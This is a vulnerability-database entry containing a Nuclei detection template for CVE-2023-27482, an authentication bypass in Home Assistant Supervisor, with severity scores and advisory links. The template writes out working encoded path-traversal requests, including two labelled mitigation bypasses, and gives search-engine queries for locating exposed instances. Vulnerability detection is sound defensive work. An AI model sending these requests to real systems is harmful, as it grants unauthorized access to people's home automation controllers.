10 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
9.6 High
AI Score
Confidence
High
0.034 Low
EPSS
Percentile
91.5%
Home Assistant Supervisor is an open source home automation tool. A remotely exploitable vulnerability bypassing authentication for accessing the Supervisor API through Home Assistant has been discovered.This impacts all Home Assistant installation types that use the Supervisor 2023.01.1 or older. Installation types, like Home Assistant Container (for example Docker), or Home Assistant Core manually in a Python environment, are not affected.
id: CVE-2023-27482
info:
name: Home Assistant Supervisor - Authentication Bypass
author: DhiyaneshDK
severity: critical
description: |
Home Assistant Supervisor is an open source home automation tool. A remotely exploitable vulnerability bypassing authentication for accessing the Supervisor API through Home Assistant has been discovered.This impacts all Home Assistant installation types that use the Supervisor 2023.01.1 or older. Installation types, like Home Assistant Container (for example Docker), or Home Assistant Core manually in a Python environment, are not affected.
impact: |
An attacker can bypass authentication and gain unauthorized access to the Home Assistant Supervisor, potentially leading to further compromise of the system.
remediation: |
The issue has been mitigated and closed in Supervisor version 2023.03.1, which has been rolled out to all affected installations via the auto-update feature of the Supervisor. This rollout has been completed at the time of publication of this advisory. Home Assistant Core 2023.3.0 included mitigation for this vulnerability. Upgrading to at least that version is thus advised. In case one is not able to upgrade the Home Assistant Supervisor or the Home Assistant Core application at this time, it is advised to not expose your Home Assistant instance to the internet.
reference:
- https://www.elttam.com/blog/pwnassistant/
- https://github.com/elttam/publications/blob/master/writeups/home-assistant/supervisor-authentication-bypass-advisory.md
- https://www.home-assistant.io/blog/2023/03/08/supervisor-security-disclosure/
- https://nvd.nist.gov/vuln/detail/CVE-2023-27482
- https://github.com/home-assistant/core/security/advisories/GHSA-2j8f-h4mr-qr25
- https://xz.aliyun.com/t/12572
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2023-27482
cwe-id: CWE-287
epss-score: 0.03385
epss-percentile: 0.91419
cpe: cpe:2.3:a:home-assistant:home-assistant:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 3
vendor: home-assistant
product: home-assistant
shodan-query:
- title:"Home Assistant"
- http.title:"home assistant"
- cpe:"cpe:2.3:a:home-assistant:home-assistant"
fofa-query: title="home assistant"
google-query: intitle:"home assistant"
tags: cve2023,cve,homeassistant,auth-bypass,rce,home-assistant
http:
- raw:
- |
GET /api/hassio/app/.%252e/supervisor/info HTTP/1.1
Host: {{Hostname}}
- |
GET /api/hassio/app/.%09./supervisor/info HTTP/1.1 # Mitigation bypass 1
Host: {{Hostname}}
- |
GET /api/hassio_ingress/.%09./supervisor/info HTTP/1.1 # Mitigation bypass 2
Host: {{Hostname}}
X-Hass-Is-Admin:1
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
words:
- '"slug":'
- '"name":'
- '"ip_address"'
condition: and
- type: word
part: header
words:
- application/json
- type: status
status:
- 200
# digest: 4a0a00473045022100a5c16ecf9af665f19806f43a62747283296e8a22c9f10f925bef453bc5fbcc7202202f54ecc00060156e6aaa5f52d37ab9f73c9c2042fa17e89d0bdddb4dbc0cd206:922c64590222798bb761d5b6d8e72950
github.com/elttam/publications/blob/master/writeups/home-assistant/supervisor-authentication-bypass-advisory.md
github.com/home-assistant/core/security/advisories/GHSA-2j8f-h4mr-qr25
nvd.nist.gov/vuln/detail/CVE-2023-27482
www.elttam.com/blog/pwnassistant/
www.home-assistant.io/blog/2023/03/08/supervisor-security-disclosure/
xz.aliyun.com/t/12572
10 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
CHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
9.6 High
AI Score
Confidence
High
0.034 Low
EPSS
Percentile
91.5%